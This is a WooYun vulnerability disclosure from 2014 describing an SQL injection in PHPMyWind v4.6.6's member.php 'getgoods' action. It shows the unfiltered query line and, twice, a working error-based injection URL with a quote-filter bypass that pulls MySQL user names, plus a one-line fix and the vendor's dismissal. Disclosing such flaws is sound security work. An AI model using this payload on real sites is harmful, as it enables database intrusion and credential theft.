当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051268

漏洞标题:phpmywind最新版本注入漏洞第二弹

相关厂商:phpmywind.com

漏洞作者: greg.wu

提交时间:2014-02-18 14:09

修复时间:2014-05-16 14:10

公开时间:2014-05-16 14:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-04-24: 细节向核心白帽子及相关领域专家公开
2014-05-04: 细节向普通白帽子公开
2014-05-14: 细节向实习白帽子公开
2014-05-16: 细节向公众公开

简要描述:

继续之前的代码审计,发现其他地方还有类似的问题存在,都是没有对变量进行适当的过滤就直接拼接到sql语句里面执行,导致任意sql指令的执行。

详细说明:

漏洞位于member.php 689行处:
$r = $dosql->GetOne("SELECT `checkinfo` FROM `#@__goodsorder` WHERE `username`='$c_uname' AND `id`=$id");
id参数未做任何过滤直接放到sql语句里面执行。
利用分析:
利用点在确认收货页面,url为:http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=1
若id参数为数据库中不存在的值,实际执行的sql语句为:
UPDATE `pmw_goodsorder` SET checkinfo=',getgoods' WHERE `username`='test1234' AND `id`=xx ,于是利用报错注入,结合之前的过滤绕过方法,构造exp为:
http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=@`'` or (select 1 from(select count(*),concat(0x7c,(select user from mysql.user limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) or @`'`
如下图:

4.PNG


漏洞证明:

exp:
http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=@`'` or (select 1 from(select count(*),concat(0x7c,(select user from mysql.user limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) or @`'`

4.PNG

修复方案:

使用前过滤id参数

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-16 14:10

厂商回复:

最新状态:

暂无